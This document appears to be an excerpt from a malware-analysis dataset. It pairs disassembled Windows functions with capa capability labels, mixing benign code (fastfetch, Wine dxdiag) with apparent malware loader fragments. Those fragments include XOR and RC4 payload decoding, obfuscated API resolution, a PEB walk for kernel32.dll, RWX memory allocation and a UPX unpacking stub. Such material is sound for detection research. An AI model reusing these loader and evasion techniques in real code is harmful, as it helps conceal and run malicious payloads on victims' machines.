joyce8/EMBER2024-capa huggingface dataset:
Function at 0x485d40
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
push ebx
push edi
push esi
push eax
mov edi, dword [esp + 0x24]
mov ebx, dword [esp + 0x18]
mov dword [esp], 0
sub esp, 0x30
xorps xmm0, xmm0
movups xmmword [esp + 0x18], xmm0
lea ebp, [esp + 0x30]
mov dword [esp + 0x14], ebp
movups xmmword [esp + 4], xmm0
mov dword [esp], ebx
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
je 0x485de9
test edi, edi
je 0x485ed5
mov eax, dword [edi]
mov ebx, dword [edi + 4]
test eax, eax
je 0x485da9
mov ecx, ebx
not ecx
add ecx, eax
cmp ecx, 0x1d
jae 0x485e72
cmp eax, 2
mov ecx, 0x20
cmovae ecx, eax
lea edx, [ebx + 0x1e]
nop word [eax + eax]
mov ebp, ecx
add ecx, ecx
cmp edx, ebp
ja 0x485dc0
test eax, eax
je 0x485e77
push ebp
push dword [edi + 8]
call sym._realloc
add esp, 8
mov esi, eax
mov dword [edi + 8], eax
mov ebx, dword [edi + 4]
jmp 0x485eab
mov eax, dword [esp]
lea ecx, [eax + 1]
mov dword [esp], ecx
lea eax, [eax*2 + 2]
push eax
call sym._malloc
add esp, 4
mov esi, eax
sub esp, 0x20
xorps xmm0, xmm0
movups xmmword [esp + 0x10], xmm0
mov dword [esp + 0xc], ebp
mov ebp, dword [esp + 0x3c]
mov dword [esp + 8], eax
mov dword [esp + 4], ebp
mov dword [esp], ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
sete bl
je 0x485e4b
test edi, edi
je 0x485e42
push ebp
push str.RegEnumKeyExW_hKey___u__failed
push edi
call dbg.ffStrbufAppendF
add esp, 0xc
test esi, esi
jne 0x485e67
jmp 0x485ed5
mov edi, dword [esp + 0x20]
test esi, esi
je 0x485e98
push esi
call sym._wcslen
add esp, 4
push esi
push eax
push edi
call dbg.ffStrbufSetNWS
add esp, 0xc
push esi
call sym._free
add esp, 4
jmp 0x485ed7
mov esi, dword [edi + 8]
jmp 0x485ead
push ebp
call sym._malloc
add esp, 4
mov esi, eax
test ebx, ebx
je 0x485ea5
lea eax, [ebx + 1]
push eax
push dword [edi + 8]
push esi
call sym._memcpy
add esp, 0xc
jmp 0x485ea8
cmp dword [edi], 0
je 0x485ee1
mov eax, dword [edi + 8]
mov byte [eax], 0
jmp 0x485ee9
mov byte [esi], 0
mov dword [edi + 8], esi
mov dword [edi], ebp
movups xmm0, xmmword [0x4fcd7b]
movups xmmword [esi + ebx + 0xd], xmm0
movups xmm0, xmmword [str.RegQueryInfoKeyW_hKey__failed]
movups xmmword [esi + ebx], xmm0
mov eax, dword [edi + 4]
mov ecx, dword [edi + 8]
lea edx, [eax + 0x1d]
mov dword [edi + 4], edx
mov byte [ecx + eax + 0x1d], 0
xor ebx, ebx
mov eax, ebx
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x5052b0]
mov dword [edi + 8], eax
mov dword [edi + 4], 0
mov bl, 1
jmp 0x485ed7
Function at 0x10003240
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10028800]
jne 0x1000324a
repz ret
jmp fcn.100044ec

Function at 0x100056eb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100028aa
and dword [ebp - 4], 0
cmp dword [0x1002a154], 0
mov ebx, eax
jne 0x1000579c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1000584d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1000584d
push eax
call fcn.10002838
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1002a154], eax
call esi
push eax
call fcn.10002838
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1002a158], eax
call esi
push eax
call fcn.10002838
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1002a15c], eax
call esi
push eax
call fcn.10002838
pop ecx
mov dword [0x1002a164], eax
test eax, eax
je 0x1000579c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10002838
pop ecx
mov dword [0x1002a160], eax
mov eax, dword [0x1002a160]
cmp eax, ebx
je 0x100057f4
cmp dword [0x1002a164], ebx
je 0x100057f4
push eax
call fcn.100028b3
push dword [0x1002a164]
mov esi, eax
call fcn.100028b3
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x100057f4
test edi, edi
je 0x100057f4
call esi
test eax, eax
je 0x100057eb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x100057eb
test byte [ebp - 0xc], 1
jne 0x100057f4
or dword [ebp + 0x10], 0x200000
jmp 0x1000582d
mov eax, dword [0x1002a158]
cmp eax, ebx
je 0x1000582d
push eax
call fcn.100028b3
pop ecx
test eax, eax
je 0x1000582d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1000582d
mov eax, dword [0x1002a15c]
cmp eax, ebx
je 0x1000582d
push eax
call fcn.100028b3
pop ecx
test eax, eax
je 0x1000582d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1002a154]
call fcn.100028b3
pop ecx
test eax, eax
je 0x1000584d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1000584f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006880
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x100281b8], 0x497
mov dword [0x100281c0], 0
mov byte [0x100281c4], 0
mov dword [0x100281bc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
jmp 0x100068ce
mov dword [0x100281bc], 0
jmp 0x10006904
mov eax, dword [0x100281b8]
add eax, 0xffffefaa
mov dword [0x100281b4], eax
mov eax, dword [0x100281bc]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x100281bc]
add eax, 1
mov dword [0x100281bc], eax
cmp eax, 0x100
jl 0x100068ce
jmp 0x100068c2
mov eax, 0x100
mov dword [0x100281c8], 0
mov dword [0x100281b4], 0x189a
mov ecx, dword [0x100281c0]
mov edx, dword [0x100281bc]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + edx]
add edi, ecx
mov dword [ebp - 0x1c], eax
mov eax, edx
xor edx, edx
mov ecx, dword [ebp - 0x10]
div ecx
mov ebx, dword [ebp - 0x14]
movzx edx, byte [ebx + edx]
add edi, edx
mov dword [0x100281c8], edi
mov eax, edi
cdq
mov edi, dword [ebp - 0x1c]
idiv edi
mov dword [0x100281c0], edx
mov edx, dword [0x100281bc]
mov cl, byte [esi + edx]
mov byte [0x100281c4], cl
mov edx, dword [0x100281b4]
add edx, 0xfffff5ce
mov dword [0x100281b4], edx
mov edx, dword [0x100281c0]
mov cl, byte [esi + edx]
mov edx, dword [0x100281bc]
mov byte [esi + edx], cl
mov cl, byte [0x100281c4]
mov edx, dword [0x100281c0]
mov byte [esi + edx], cl
mov edx, dword [0x100281bc]
add edx, 1
mov dword [0x100281bc], edx
cmp edx, 0x100
jl 0x10006904
mov dword [0x100281b4], 0x23c0
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100069d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x68
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x100281b4], 0xc03
mov edx, ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], ecx
jmp 0x10006a8e
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x40]
lea edx, section..data
imul esi, eax, 0x190
mov edi, edx
add edi, esi
add edi, 0x18c
mov esi, eax
add esi, 1
imul ebx, eax, 0x190
mov dword [ebp - 0x44], eax
mov eax, edx
add eax, ebx
add eax, 0x80
mov ebx, dword [ebp - 0x48]
add ebx, ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x44]
imul eax, eax, 0x190
add edx, eax
add edx, 0xd8
mov eax, dword [edi]
mov edi, dword [ebp - 0x4c]
mov edi, dword [edi]
movzx edx, word [edx]
xor edx, eax
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x58], edx
call fcn.10007820
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
add eax, ecx
mov edx, dword [ebp - 0x50]
cmp edx, 0x12a
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], eax
je 0x10006b61
jmp 0x100069f8
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
lea edx, section..data
imul esi, eax, 0x190
mov edi, edx
add edi, esi
add edi, 0x18c
mov esi, dword [edi]
imul edi, eax, 0x190
add edx, edi
add edx, 0xd8
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x12a
mov ecx, edx
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
jne 0x10006a8e
lea eax, [0x100088f5]
mov ecx, 0xe
lea edx, [ebp - 0x2c]
mov dword [0x100281b8], 0x5b3
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x64], ecx
call fcn.10007380
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call fcn.100065f0
mov ecx, eax
mov dword [0x100281d0], eax
mov eax, esp
mov edx, dword [ebp - 0x5c]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, dword [0x100281b4]
add edx, 0x1bdd
mov dword [0x100281b4], edx
mov edx, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], ecx
jmp 0x100069f8
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov dword [esp + 4], eax
mov ecx, dword [ebp - 0x5c]
mov dword [esp + 8], ecx
call fcn.100070c0
xor eax, eax
mov dword [0x100281b8], 0x20ca
mov ecx, dword [ebp - 0x48]
add ecx, 0x507d8
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov dword [edx + 4], 0x14d600
mov ecx, dword [ebp - 0x48]
add ecx, 0x38abd
mov dword [edx + 8], ecx
mov dword [edx + 0xc], 0x2000
mov ecx, dword [0x100281b4]
add ecx, 0x12f
mov dword [0x100281b4], ecx
add esp, 0x68
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10007740
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [fcn.10007740]
mov ecx, dword [0x100281b8]
add ecx, 0xfffff271
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
jmp 0x1000777a
mov eax, dword [ebp - 4]
mov dword [0x100281b4], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp word [eax], 0x5a4d
mov dword [ebp - 0xc], eax
jne 0x10007760
mov eax, dword [ebp - 0xc]
add eax, dword [eax + 0x3c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0x4550
jne 0x10007760
mov eax, dword [ebp - 0xc]
add esp, 0x10
pop ebp
ret

Function at 0x100078a0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x30
mov dword [ebp - 8], 0
mov dword [0x100281b4], 0x138b
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov esi, dword [0x100281b8]
add esi, 0xffffd959
mov dword [0x100281b4], esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
jmp 0x100078fb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov dword [0x100281b4], ecx
add esp, 0x30
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x14]
mov ecx, 0xb82
mov edx, dword [ebp - 0x10]
cmp word [edx + eax*2], 0
mov esi, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], esi
je 0x1000793a
mov eax, 0x717
mov ecx, dword [ebp - 0x20]
add ecx, 1
cmp ecx, 0x104
mov edx, ecx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
jl 0x100078fb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [0x100281b4], ecx
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x2c], eax
jne 0x10007a05
mov dword [0x100281b4], 0xe65
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x2c]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x10007a05
mov dword [0x100281b8], 0xee
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff5
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x30]
cmp word [eax + ecx*2], 0x61
jne 0x10007a05
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x2c]
mov dx, word [eax + ecx*2 - 0x14]
mov word [ebp - 0x32], dx
mov ax, word [ebp - 0x32]
cmp ax, 0x64
jne 0x10007a05
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x2c]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x10007a05
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x2c]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x10007a05
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x2c]
mov dx, word [eax + ecx*2 - 0xe]
mov word [ebp - 0x34], dx
mov ax, word [ebp - 0x34]
cmp ax, 0x6c
jne 0x10007a05
mov eax, 1
mov ecx, dword [0x100281b4]
add ecx, 0x221d
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], eax
jmp 0x100078e9
xor eax, eax
mov ecx, dword [0x100281b8]
add ecx, 0xffffee9c
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], eax
jmp 0x100078e9
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x403203
pop dword [ebp - 0x48]
mov eax, 0xd18ccdaf
sub eax, 0xd14c9bac
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xb9e06343
sub dword [ebp - 0x58], 0x6b8e1df8
mov dword [ebp - 0x54], 0x4919a2d8
sub dword [ebp - 0x54], 0x16e65693
mov dword [ebp - 0x50], 0x1133f3e7
sub dword [ebp - 0x50], 0xc4e7afb9
mov dword [ebp - 0x4c], 0x209a47d5
add dword [ebp - 0x4c], 0xdf65b82b
lea eax, [ebp - 0x58]
push eax
mov eax, 0x6a3674f8
add eax, 0x9609fb6c
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xd01515d1
add dword [ebp - 0x58], 0xa45d5385
mov dword [ebp - 0x54], 0x45aa2d4c
sub dword [ebp - 0x54], 0x43dcbd7
mov dword [ebp - 0x50], 0x58a951e1
sub dword [ebp - 0x50], 0xf539e575
mov dword [ebp - 0x4c], 0x40d74998
sub dword [ebp - 0x4c], 0x40d74998
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xc274e5b4
sub eax, 0xc234750c
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x345e5
push 0
call eax
mov ecx, 0x1831f6b3
sub ecx, 0x1831b79a
mov ebx, eax
mov edi, 0xc7c5ab06
sub edi, 0xc784ab06
add edi, dword [ebp - 0x48]
mov edx, 0xe136d6d
sub dword [ebp - 0x40], 0xbf3ffe0d
mov esi, dword [edi]
xor dword [ebp - 0xc], ecx
add esi, edx
xor dword [ebp - 0x28], ebx
mov dword [ebx], esi
mov dword [ebp - 0x10], 0x4293e3c3
add ebx, 0x367a33e6
sub ebx, 0x367a33e2
add edi, 0xab518901
add edi, 0x54ae7703
loop 0x40331f
add eax, 0x5ef6cff0
sub eax, 0x5ef5e0b9
xor ebx, ebx
add ebx, eax
add eax, 0xcaf76fa7
add eax, 0x3508905e
mov ecx, 0x5cd63235
add ecx, 0xa369cdcb
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x401ed0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x401f28
cmp byte [esi + ebx - 1], 0xa
je 0x401efc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x404550], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret

Function at 0x402560
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
dec eax
cmp eax, 1
ja 0x40257b
shl eax, 4
mov eax, dword [eax + 0x40412c]
leave
jmp eax
mov dword [esp + 8], 0x17d
mov dword [esp + 4], str..._src_wine_programs_dxdiag_output.c
mov dword [esp], str.type___OUTPUT_NONE__type___ARRAY_SIZE_output_backends_
call dword [sym.imp.ucrtbase.dll__assert]
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x403820
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x58
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x4038ab
cmp ax, 9
je 0x403898
cmp ax, 0x20
je 0x403898
mov dword [ebp - 0x54], 0
xor edi, edi
nop
cmp ax, 0x5c
je 0x403900
cmp ax, 0x22
je 0x403910
mov dword [ebp - 0x54], 0
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x4038ab
cmp ax, 9
sete cl
cmp ax, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x403850
test edi, 1
jne 0x403850
lea esi, [esi]
movzx eax, word [ebx + 2]
add ebx, 2
cmp ax, 9
je 0x403898
cmp ax, 0x20
je 0x403898
lea eax, [ebp - 0x50]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x24], 1
je 0x403928
movzx esi, word [ebp - 0x20]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._wWinMain_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
inc dword [ebp - 0x54]
jmp 0x40386b
and dword [ebp - 0x54], 1
jne 0x403864
xor edi, 1
jmp 0x40386b
mov eax, 1
mov esi, 1
mov word [ebp - 0x20], ax
jmp 0x4038c4

Function at 0x403940
Capabilities:
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
inc eax
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._wmain
mov dword [esp], eax
call sym._exit
nop
nop
nop
nop
nop
Function at 0x29c41b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x210d000]
push edi
jmp 0x29c41ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x29c41d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x29c41c0
mov eax, 1
add ebx, ebx
jne 0x29c41e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x29c41f4
jne 0x29c4213
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x29c4213
dec eax
add ebx, ebx
jne 0x29c4200
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x29c41d8
add ebx, ebx
jne 0x29c420f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x29c4265
xor ecx, ecx
sub eax, 3
jb 0x29c422b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x29c429a
sar eax, 1
mov ebp, eax
jmp 0x29c4236
add ebx, ebx
jne 0x29c4236
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x29c4204
inc ecx
add ebx, ebx
jne 0x29c4244
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x29c4204
add ebx, ebx
jne 0x29c4251
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x29c4246
jne 0x29c4262
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x29c4246
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x29c4284
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x29c4276
jmp 0x29c41c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x29c4284
add edi, ecx
jmp 0x29c41c6
pop esi
mov edi, esi
mov ecx, 0xf3e40
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x29c42a2
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x29c42a7
lea edi, [esi + 0x25c2000]
mov eax, dword [edi]
or eax, eax
je 0x29c4318
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x25c9008]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x25c9044]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x29c42cd
mov ecx, edi
jns 0x29c42fc
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x25c904c]
or eax, eax
je 0x29c4312
mov dword [ebx], eax
add ebx, 4
jmp 0x29c42ea
call dword [esi + 0x25c9048]
mov ebp, dword [esi + 0x25c9050]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1df]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x29c434c
sub esp, 0xffffff80
jmp 0x47cd64
Function at 0x403d11
Capabilities:
Allocate or change rwx memory
Read .ini file

Disassembly:
mov eax, 0x447c6b
call fcn.00447b78
sub esp, 0x104
push ebx
push esi
push edi
mov eax, 0xb2d3b
add dword [0x4882c4], eax
xor ebx, ebx
cmp dword [0x4882c4], 0x16
jne 0x403dae
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call dword [sym.imp.USER32.dll_WindowFromPoint]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0x402d64
push ebx
push 0x402d8c
push 0x402d9c
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
call fcn.00403280
lea eax, [ebp - 0x40]
call fcn.0040402c
push ebx
mov dword [ebp - 4], ebx
call fcn.00404d5b
mov dword [esp], 0x929
push 0xea
call fcn.00404de9
push ebx
call fcn.0040543e
or dword [ebp - 4], 0xffffffff
add esp, 0xc
lea edi, [ebp - 0x40]
call fcn.00404051
xor eax, eax
cmp eax, 0xf027949
jg 0x403dbf
inc eax
cmp eax, 0x736259b2
jl 0x403db0
push 0x45bab8
mov byte [0x45bac2], 0x6c
mov byte [0x45bac3], 0x6c
mov byte [0x45bac4], bl
mov byte [0x45bab8], 0x6b
mov byte [0x45bab9], 0x65
mov byte [0x45baba], 0x72
mov byte [0x45babd], 0x6c
mov byte [0x45babf], 0x32
mov byte [0x45bac0], 0x2e
mov byte [0x45babb], 0x6e
mov byte [0x45babc], 0x65
mov byte [0x45bac1], 0x64
mov byte [0x45babe], 0x33
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push dword [0x4882c4]
mov dword [0x488234], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x4882c4]
mov dword [0x488230], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x455fcc]
xor esi, esi
mov dword [0x48839c], eax
cmp dword [0x4882c4], ebx
jbe 0x403eb7
mov eax, dword [0x48839c]
mov dword [ebp - 0x14], eax
mov eax, 0xb2d3b
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov al, byte [eax + esi]
mov ecx, dword [0x488230]
mov byte [ecx + esi], al
cmp dword [0x4882c4], 0x44
jne 0x403eae
lea eax, [ebp - 0x24]
push eax
push 0x402dcc
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
push ebx
lea eax, [ebp - 0x20]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
inc esi
cmp esi, dword [0x4882c4]
jb 0x403e62
call fcn.00403c41
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
cmp esi, 0x770e
jne 0x403edb
call fcn.00403ceb
inc esi
cmp esi, 0x286c535
jl 0x403ebe
push 0x7b
pop esi
cmp dword [0x4882c4], 0xd
jne 0x403f24
push 0x30
lea eax, [ebp - 0x70]
push ebx
push eax
mov dword [ebp - 0x74], ebx
call fcn.00409cc0
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push 0x402de0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_GetOldestEventLogRecord]
dec esi
jne 0x403ee7
call fcn.00403d05
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret